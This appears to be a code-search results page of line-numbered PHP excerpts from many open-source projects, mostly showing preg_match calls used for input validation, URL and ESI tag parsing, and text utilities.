1<?php 2/** 47 { 48 if (preg_match("/[^A-Z]/i", $arFields['LETTER']) || strlen($arFields['LETTER']) > 1) 49 $arMsg[] = array("id"=>"LETTER", "text"=> GetMessage('MAIN_TASK_WRONG_LETTER')); 250 { 251 /** @noinspection PhpUndefinedVariableInspection */ 252 $CACHE_MANAGER->Set($cacheId, $arResult); 298 { 299 /** @noinspection PhpUndefinedVariableInspection */ 300 $CACHE_MANAGER->Set($cacheId, static::$TASK_OPERATIONS_CACHE[$ID]); 440 441 if(preg_match("/[^a-z0-9._]/i", $module)) 442 { 447 { 448 if(($path = getLocalPath("modules/".$module."/admin/task_description.php")) !== false) 449 {user.php https://gitlab.com/alexprowars/bitrix | PHP | 556 lines
1<?php 2 162 163 if (preg_match('/^(?<domain>.+):(?<port>\d+)$/', $domain, $matches)) 164 { 173 $port = in_array($port, array(80, 443)) ? '' : ':'.$port; 174 $path = ltrim(trim($site['DIR'], '/') . '/pub/entry.php', '/'); 175 191 { 192 $cache = new \CPHPCache(); 193 231 232 if (preg_match('/^(?<domain>.+):(?<port>\d+)$/', $domain, $matches)) 233 $domain = $matches['domain']; 245 { 246 if (!preg_match('/^(?<type>rpl|fwd)(?<token>[a-z0-9]+)@(?<domain>.+)/i', $to, $matches)) 247 {Request.php https://github.com/ckdimka/core.git | PHP | 343 lines
1<?php 2// vim: set ts=4 sw=4 sts=4 et: 11 * It is also available through the world-wide-web at this URL: 12 * http://opensource.org/licenses/osl-3.0.php 13 * If you did not receive a copy of the license and are unable to 16 * 17 * PHP version 5.3.0 18 * 21 * @copyright Copyright (c) 2011 Creative Development LLC <info@cdev.ru>. All rights reserved 22 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 23 * @link http://www.litecommerce.com/ 184 { 185 return 'cli' == PHP_SAPI; 186 } 335 336 } elseif (!preg_match('/^[a-z0-9_]*$/Ssi', $value)) { 337 \XLite\Logger::getInstance()->log($name . ' has a wrong format');Esi.php https://gitlab.com/judielsm/Handora | PHP | 296 lines
1<?php 2 31 private $contentTypes; 32 private $phpEscapeMap = array( 33 array('<?', '<%', '<s', '<S'), 33 array('<?', '<%', '<s', '<S'), 34 array('<?php echo "<?"; ?>', '<?php echo "<%"; ?>', '<?php echo "<s"; ?>', '<?php echo "<S"; ?>'), 35 ); 148 149 return (bool) preg_match('#content="[^"]*ESI/1.0[^"]*"#', $control); 150 } 219 $chunks = preg_split('#<esi\:include\s+(.*?)\s*(?:/|</esi\:include)>#', $content, -1, PREG_SPLIT_DELIM_CAPTURE); 220 $chunks[0] = str_replace($this->phpEscapeMap[0], $this->phpEscapeMap[1], $chunks[0]); 221 239 ++$i; 240 $chunks[$i] = str_replace($this->phpEscapeMap[0], $this->phpEscapeMap[1], $chunks[$i]); 241 ++$i;pipelines_publiHALRSS.php https://bitbucket.org/pombredanne/spip-zone-treemap.git | PHP | 210 lines
1<?php 2/** 13 14 // copie des lignes 128 Ã 142 de syndic.php 15 // Echapper les CDATA 16 $echappe_cdata = array(); 17 if (preg_match_all(',<!\[CDATA\[(.*)]]>,Uims', $rss, 18 $regs, PREG_SET_ORDER)) { 42 $rss = preg_replace_callback( 43 ',<(item|entry)([:[:space:]][^>]*)?>(.*)</\1>,Uims',// copie de la ligne 165 de syndic.php 44 "publiHAL_supprime_si_deja_la", 67 //spip_log("passage 2 !!!!!!"); 68 // voir inc/syndic.php 69 list($le_lien, $id_syndic, $data) = func_get_arg(0); 83 84 if(preg_match_all(',<(publisher|typedoc|coverage)>(.*)</\1>,Uims',$data['item'],$matches,PREG_SET_ORDER)){ 85 foreach ($matches as $match) {List.php https://github.com/wrobel/horde.git | PHP | 496 lines
1<?php 2/** 180 list($addToList, $addToListSources) = $this->getAddSources(); 181 $viewurl = Horde::url('browse.php')->add(array( 182 'key' => Horde_Util::getFormData('key'), 215 )); 216 $viewurl = Horde::url('search.php')->add($params); 217 $vars = Horde_Variables::getDefaultVariables(); 225 $page = Horde_Util::getFormData('page', '*'); 226 if (!preg_match('/^[A-Za-z*]$/', $page)) { 227 $page = '*'; 230 $page = Horde_Util::getFormData('page', 'A'); 231 if (!preg_match('/^[A-Za-z*]$/', $page)) { 232 $page = 'A';field.php https://gitlab.com/redring-co-in/redring_website.git | PHP | 298 lines
1<?php 2/** 181 } else { 182 if ( preg_match( '/<[^\>]+>/', $default ) ) { 183 echo '' . $default; 231 // Get path to template file 232 $file = WR_CF_Loader::get_path( "form/field/tmpl/{$tpl}.php" ); 233 234 if ( empty( $file ) ) { 235 $file = WR_CF_Loader::get_path( 'form/field/tmpl/text.php' ); 236 }TableTest.php https://gitlab.com/DEVLINE/magento2.git | PHP | 213 lines
1<?php 2/** 11 12class TableTest extends \PHPUnit_Framework_TestCase 13{ 34 }, 35 \Magento\Framework\Test\Utility\Files::init()->getPhpFiles() 36 ); 52 $regexp = self::$method($filePath); 53 if (!preg_match_all($regexp, $content, $matches, PREG_SET_ORDER)) { 54 continue; 110 $parts = explode('/', $filePath); 111 return array_search('Resource', $parts) !== false && array_search('Collection.php', $parts) === false; 112 } 141 * @return string 142 * @SuppressWarnings(PHPMD.UnusedFormalParameter) 143 */CreateConfigurable.php https://gitlab.com/DEVLINE/magento2.git | PHP | 168 lines
1<?php 2/** 164 } 165 preg_match("~Location: [^\s]*\/id\/(\d+)~", $response, $matches); 166 return isset($matches[1]) ? $matches[1] : null;Inflector.php https://gitlab.com/yousafsyed/easternglamor | PHP | 472 lines
1<?php 2/** 438 439 if ($this->throwTargetExceptionsOn && (preg_match('#(?=' . $pregQuotedTargetReplacementIdentifier.'[A-Za-z]{1})#', $inflectedTarget) == true)) { 440 throw new Exception\RuntimeException('A replacement identifier ' . $this->targetReplacementIdentifier . ' was found inside the inflected target, perhaps a rule was not satisfied with a target source? Unsatisfied inflected target: ' . $inflectedTarget);init.php https://github.com/yoniweb/forkcms-Golden-Gate.git | PHP | 497 lines
1<?php 2 48 49 // set a default timezone if no one was set by PHP.ini 50 if(ini_get('date.timezone') == '') date_default_timezone_set('Europe/Brussels'); 73 // require spoon 74 require_once 'spoon/spoon.php'; 75 101 // exceptions 102 $exceptions['backend'] = BACKEND_CORE_PATH . '/engine/backend.php'; 103 $exceptions['backendajaxaction'] = BACKEND_CORE_PATH . '/engine/ajax_action.php'; 103 $exceptions['backendajaxaction'] = BACKEND_CORE_PATH . '/engine/ajax_action.php'; 104 $exceptions['backendbaseajaxaction'] = BACKEND_CORE_PATH . '/engine/base.php'; 105 $exceptions['backenddatagriddb'] = BACKEND_CORE_PATH . '/engine/datagrid.php'; 105 $exceptions['backenddatagriddb'] = BACKEND_CORE_PATH . '/engine/datagrid.php'; 106 $exceptions['backenddatagridarray'] = BACKEND_CORE_PATH . '/engine/datagrid.php'; 107 $exceptions['backendbaseconfig'] = BACKEND_CORE_PATH . '/engine/base.php';CakeValidationRule.php https://bitbucket.org/ManiAdil/jardinorient.git | PHP | 352 lines
1<?php 2/** 6 * 7 * PHP versions 5 8 * 8 * 9 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 10 * Copyright 2005-2012, Cake Software Foundation, Inc. (http://cakefoundation.org) 15 * @copyright Copyright 2005-2012, Cake Software Foundation, Inc. (http://cakefoundation.org) 16 * @link http://cakephp.org CakePHP(tm) Project 17 * @package Cake.Model.Validator 17 * @package Cake.Model.Validator 18 * @since CakePHP(tm) v 2.2.0 19 * @license MIT License (http://www.opensource.org/licenses/mit-license.php) 28 * @package Cake.Model.Validator 29 * @link http://book.cakephp.org/2.0/en/data-validation.html 30 */BreakpointGroup.php https://github.com/jessebeach/drupal.git | PHP | 215 lines
1<?php 2 138 // Check for illegal characters in breakpoint group source. 139 if (preg_match('/[^a-z_]+/', $this->source) || empty($this->source)) { 140 throw new InvalidBreakpointSourceException(format_string("Invalid value '@source' for breakpoint group source property. Breakpoint group source property can only contain lowercase letters and underscores.", array('@source' => $this->source))); 142 // Check for illegal characters in breakpoint group name. 143 if (preg_match('/[^a-z0-9_]+/', $this->name || empty($this->name))) { 144 throw new InvalidBreakpointNameException(format_string("Invalid value '@name' for breakpoint group name property. Breakpoint group name property can only contain lowercase letters, numbers and underscores.", array('@name' => $this->name)));XRDS.php https://github.com/terasa/import_repo.git | PHP | 451 lines
1<?php 2/** 4 * 5 * PHP versions 4 and 5 6 * 17 */ 18require_once 'Auth/Yadis/XML.php'; 19 293 return $_null; 294 } else if (array_key_exists('xmlns', $attrs) && preg_match('/xri/', $attrs['xmlns']) && $attrs['xmlns'] != Auth_Yadis_XMLNS_XRD_2_0) { 295 return $_null;text.php https://github.com/popovag/kohana_core.git | PHP | 469 lines
1<?php defined('SYSPATH') or die('No direct access allowed.'); 2/** 8 * @copyright (c) 2007-2008 Kohana Team 9 * @license http://kohanaphp.com/license 10 */ 33 34 preg_match('/^\s*+(?:\S++\s*+){1,'.$limit.'}/u', $str, $matches); 35 69 70 preg_match('/^.{'.($limit - 1).'}\S*/us', $str, $matches); 71 300 // Finds all http/https/ftp/ftps links that are not part of an existing html anchor 301 if (preg_match_all('~\b(?<!href="|">)(?:ht|f)tps?://\S+(?:/|\b)~i', $text, $matches)) 302 { 310 // Find all naked www.links.com (without http://) 311 if (preg_match_all('~\b(?<!://)www(?:\.[a-z0-9][-a-z0-9]*+)+\.[a-z]{2,6}\b~i', $text, $matches)) 312 {